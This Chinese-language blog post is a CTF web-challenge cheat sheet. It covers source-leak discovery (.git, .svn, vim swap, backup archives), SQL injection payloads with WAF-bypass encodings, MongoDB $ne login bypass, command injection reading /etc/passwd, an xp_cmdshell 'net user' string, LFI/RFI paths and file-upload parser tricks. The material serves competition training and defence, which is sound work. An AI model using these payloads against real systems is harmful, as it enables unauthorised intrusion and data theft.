【绿盟大讲堂】CTF夺旗赛最强秘籍Part2:Web

CTF(Capture The Flag)中文一般译作夺旗赛,在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式。

其大致流程是,参赛团队之间通过进行攻防对抗、程序分析等形式,率先从主办方给出的比赛环境中得到一串具有一定格式的字符串或其他内容,并将其提交给主办方,从而夺得分数。为了方便称呼,我们把这样的内容称为“Flag”。

以我国的CTF赛事来总结,题目通常分为:WEB、逆向、PWN、移动安全、密码学和杂项。

WEB IN CTF – 套路

一、爆破,包括包括md5、爆破随机数、验证码识别等

二、绕WAF,包括花式绕Mysql、绕文件读取关键词检测之类拦截

三、花式玩弄几个PHP特性,包括弱类型,strpos和===,反序列化 destruct、\0截断

四、各种找源码技巧,包括git、svn、xxx.php.swp、*www*.(zip|tar.gz|rar|7z)、xxx.php.bak、

五、文件上传,包括花式文件后缀 .php345 .inc .phtml .phpt .phps、各种文件内容检测<?php <? <% <script language=php>、花式解析漏洞

六、Mysql类型差异,包括和PHP弱类型类似的特性,0x、0b、1e之类,varchar和integer相互转换

七、open_basedir、disable_functions花式绕过技巧,包括dl、mail、imagick、bash漏洞、DirectoryIterator及各种二进制选手插足的方法

八、社工,包括花式查社工库、微博、QQ签名、whois

九、windows特性,包括短文件名、IIS解析漏洞、NTFS文件系统通配符、::$DATA,冒号截断

十、XSS,各种浏览器auditor绕过、富文本过滤黑白名单绕过、flash xss

十一、XXE,各种XML存在地方(rss/word/流媒体)、各种XXE利用方法(SSRF、文件读取)

十二、HTTP协议,花式IP伪造 X-Forwarded-For/X-Client-IP/X-Real-IP/CDN-Src-IP、花式改UA,花式藏FLAG、花式分析数据包

1. Information_disclosure

robots.txt

Comment

vim swap file

.pyc

.git

.svn

bak file(.tar.gz/.rar/.zip/.7z)

1.1 Information_disclosure—robots.txt

User-agent: *
Disallow: /cgi-bin/

Disallow: /images/

Disallow: /tmp/

1.2 Information_disclosure—comment

<html>
<!— index.phps —>
<!—
flag{40be4e59b9a2a2b5dffb918c0e86b3d7}
!—>

<?php
/*
$my_pass = ‘xxx’;
*/

1.3 Information_disclosure—vim swap file

.[FILENAME].[EXT].swp

➜  tmp cat .index.php.swp
U3210#”! Utad«Ր땿>echo “hello world.”;phpinfo();<?php

➜  tmp

 

$ ~ vim -r .index.php.swp

Using swap file “swap_test/.index.php.swp”

“/tmp/index.php” [New File]

Recovery completed. You should check if everything is OK.

(You might want to write out this file under another name

and run diff with the original file to check for changes)

You may want to delete the .swp file now.

Press ENTER or type command to continue

1.4 Information_disclosure—.git

$ ls -al

total 73

drwxr-xr-x 1 dengyongkai 197121  0 8月  16 04:14 ./

drwxr-xr-x 1 dengyongkai 197121  0 8月  16 03:37 ../

drwxr-xr-x 1 dengyongkai 197121  0 8月  16 04:16 .git/

drwxr-xr-x 1 dengyongkai 197121  0 8月  16 03:42 asoidfyu_admin/

-rw-r–r– 1 dengyongkai 197121  0 8月  16 03:38 hello.txt

-rw-r–r– 1 dengyongkai 197121 38 8月  16 04:13 index.php

drwxr-xr-x 1 dengyongkai 197121  0 8月  16 04:15 login/

-rw-r–r– 1 dengyongkai 197121  0 8月  16 03:40 xxxxxx_flag.txt

 

$ ~ python GitHack.py http://x.x.x.x/.git/

[+] Download and parse index file …

asoidfyu_admin/admin.php

hello.txt

index.php

login/index.php

login/login.php

xxxxxx_flag.txt

[OK] asoidfyu_admin/admin.php

[OK] index.php

[OK] login/index.php

[OK] hello.txt

[OK] xxxxxx_flag.txt

[OK] login/login.php

1.5 Information_disclosure—.svn

.svn < 1.6
www.xxx.com/.svn/.entries

/.svn/text-base
example.com/phpinfo.php–>example.com/.svn/text-base/phpinfo.php-text-base

auxiliary/scanner/http/svn_scanner

$ ~ perl rip-svn.pl -v -u http://x.x.x.x/.svn/

[i] Found new SVN client storage format!
REP INFO => 1:file:///private/tmp/repos/ctf:501fa6fa-e6f6-40d6-ac55-a80ebae05199
[i] Trying to revert the tree, if you get error, upgrade your SVN client!
Reverted ‘u_can_not_guess’
Reverted ‘u_can_not_guess/flag’
Reverted ‘public’
Reverted ‘admin’

1.6 Information_disclosure—bak file

total 8
drwxr-xr-x   6 dengyongkai   wheel   204B 11 26 13:48 .
drwxrwxrwt  20 root  wheel   680B 11 26 13:40 ..
drwxr-xr-x   2 dengyongkai   wheel    68B 11 26 13:34 admin
drwxr-xr-x   2 dengyongkai   wheel    68B 11 26 13:34 public
drwxr-xr-x   3 dengyongkai   wheel   102B 11 26 13:34 u_can_not_guess
-rw-r–r–   1 dengyongkai   wheel   217B 11 26 13:48 web.tar.gz
-rw-r–r–   1 dengyongkai   wheel   217B 11 26 13:48 web.zip
-rw-r–r–   1 dengyongkai   wheel   217B 11 26 13:48 web.rar

1.7 Information_disclosure——etc

  • NFS
  • Samba
  • FTP
  • ……

2. sql_injection

  • mysql
  • pSqlite
  • pSql server
  • pOracle
  • pAccess
  • p……

2.1 sql_injection—mysql

  • Order by num
  • and 1=1 union select 1,2,3,4,5…….n/*
  • and 1=2 union select 1,2,3,4,5…..n/*
  • and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1
  • and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=hex(database) limit 0,1
  • and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=hex(table) limit 0,1
  • Union select 1,2,3concat(username,0x3c,password),5,6,7,8,9 from table limit 0,1
  • Extractvalue
  • and extractvalue(1, concat(0x5c, (select table_namefrom information_schema.tableslimit 1)));
  • UpdateXml
  • and 1=(updatexml(1,concat(0x3a,(select user())),1))

2.2 sql_injection—mysql bypass

绕过WAF的几种常见方法:

a) 大小写混合

用于只针对小写或大写的关键字匹配技术,正则表达式匹配时大小写不敏感无法绕过。

abc.com/index.php?page_id=-1 uNIoN sELecT 1,2,3,4

b)替换关键字( and->&&、or->|| %0b代替空格)

正则表达式替换或删除select、union等关键字,且只匹配一次。

abc.com/index.php?page_id=-1 UNIunionON SELselectECT 1,2,3,4

c)使用编码 (url编码、16进制)

使用编码——url编码

普通的URL编码可能无法实现绕过不过存在某种情况URL编码只进行了一次解码过滤可以用两次编码绕过

page.php?id=1%252f%252a*/UNION%252f%252a/SELECT

page.php?id=1%2f%2a*/UNION%2f%2a/SELECT 一次解码

page.php?id=1/**/UNION/*/SELECT   两次解码

使用编码——十六进制编码

abc.com/index.php?page_id=-1 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4,SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))

abc.com/index.php?page_id=-1 /*!union*/ /*!select*/ 1,2,3,4,SELECT(extractvalue(<a>admin</a>, /a))

使用编码——Unicode编码

单引号:%u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7

空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0

左括号:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8

右括号:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9

Page.php?id=1%D6’%20AND%201=2%23

对单引号转义操作变成\‘,那么就变成了%D6%5C’,%D6%5C构成了一个宽字节即Unicode字节,单引号可以正常使用。

d)使用注释 (/**/代替空格、–、#)

使用注释——普通注释

常见的注释符号://, — , /**/, #, –+,–  -, ;–a

abc.com/index.php?page_id=-1 %55nION/**/%53ElecT 1,2,3,4

‘union%a0select pass from users#

/**/在构造的查询语句中插入注释规避对空格的依赖或关键字识别

#、–+用于终结语句的查询

使用注释——内联注释

index.php?page_id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3

index.php?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4…

/*!content*/只有MySQL会正常识别content的内容

e)等价函数与命令 (updatexml(,select语句)、extractvalue(,))

等价函数与命令——生僻函数

MySQL/PostgreSQL支持XML函数

Select UpdateXML(‘<script x=_></script> ‘,’/script/@x/’,’src=//evil.com’);

?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))

SELECT xmlelement(name img,xmlattributes(1as src,’a\l\x65rt(1)’as \117n\x65rror)); //postgresql

?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

等价函数与命令——特殊符号

1.使用反引号`,例如select `version()`,可以用来过空格和正则,特殊情况下还可以将其做注释符用

2.神奇的”-+.”,select+id-1+1.from users; “+”是用于字符串连接的,”-”和”.”在此也用于连接,可以逃过空格和关键字过滤

3.@符号,select@^1.from users; @用于变量定义如@var_name,一个@表示用户定义,@@表示系统变量

4.Mysql function() as xxx  也可不用as和空格

select-count(id)test from users;  //绕过空格限制

例如关键字拆分:’se’+’lec’+’t’

%S%E%L%E%C%T 1

aspx?id=1;EXEC(‘ma’+’ster..x’+’p_cm’+’dsh’+’ell “net user”‘)

f)使用特殊符号 ( –、# )

g)HTTP参数控制 (GET请求转换为POST请求)

HTTP参数污染——HPPHTTP Parameter Polution

HTTP又称做重复参数污染,对于?uid=1&uid=2&uid=3这种情况不同的Web服务器处理方式如下

/?id=1;select+1&id=2,3+from+users+where+id=1—

/?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users

h)缓冲区溢出

i)整合绕过

2.3 nosql_injection—mongodb

$collection->find(array(

“username” => $_GET[‘username’],

“password” => $_GET[‘password’]

));

http://x.x.x.x/login.php?username=admin&password[$ne]=1

$collection->find(array(

“username” => “admin”,

“password” => array(“$ne” => 1)

));

$gt

$gte

$lt

$lte

$in

$ne

$and

$not

$or

$exists

$mod

2.4 command_injection

<?php

if (isset($_GET[‘ip’])) {

$cmd = ‘ping -c1 ‘.$_GET[‘ip’];

system($cmd);

}

 

http://localhost/index.php?ip=;cat+/etc/passwd

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/usr/sbin/nologin

man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

… … … … …

 

$ ~ man wget

HTTP options:

……

–post-file=FILE        use the POST method; send contents of FILE.

……

3. LFI/RFI

  • <?php
  • include($_GET[‘file’]);?>
  • index.php?file=xxx/yyy/zzz.jpg

3.1 LFI

<?php

if (strtolower( substr( $include_file, -4 ) ) == “.php” )

{

require( $_GET[file] );

}?>

index.php?file=phar:///var/www/uploads/xxx.jpg/1.php

3.2 RFI

  • allow_url_include = on
  • Index.php?file=\\192.168.100.1\share\xxx.php

4. File Upload

move_upload_file($_FILE[“file”][“tmp_name”],$_FILE[“file”][“name”]);

 

Content-Type: image/jpeg

Content-Type: application/x-www-form-urlencoded;

Content-Type: multipart/form-data;

 

Content-Disposition: form-data; name=“fileupload”;filename=“test.jpg”

Content-Disposition: form-data; name=“fileupload”;filename=“test.php”

Content-Disposition: form-data; name=“fileupload”;filename=“test.jpg”;filename=“test.php”

 

  • 解析漏洞
  • Apache: index.php.xxx, php3/4/5, PHP
  • IIS: cer, asa, cdx, htr; index.asp/x.jgp; index.asp;.jpg
  • Nginx: index.zzz/x.php
  • MAC:config.php、config.phP
  • Ubuntu:config.php(config.pht)
  • Windows:config.php,config.phP,config.ph<,config.ph>, config.ph*,config.ph?
  • %00

5. HTTP协议

  • Method
  • Host
  • User-Agent
  • Referer
  • X-Forwarded-For
  • Accept-Language
  • Cookie

 

 

 

Spread the word. Share this post!

Meet The Author

Leave Comment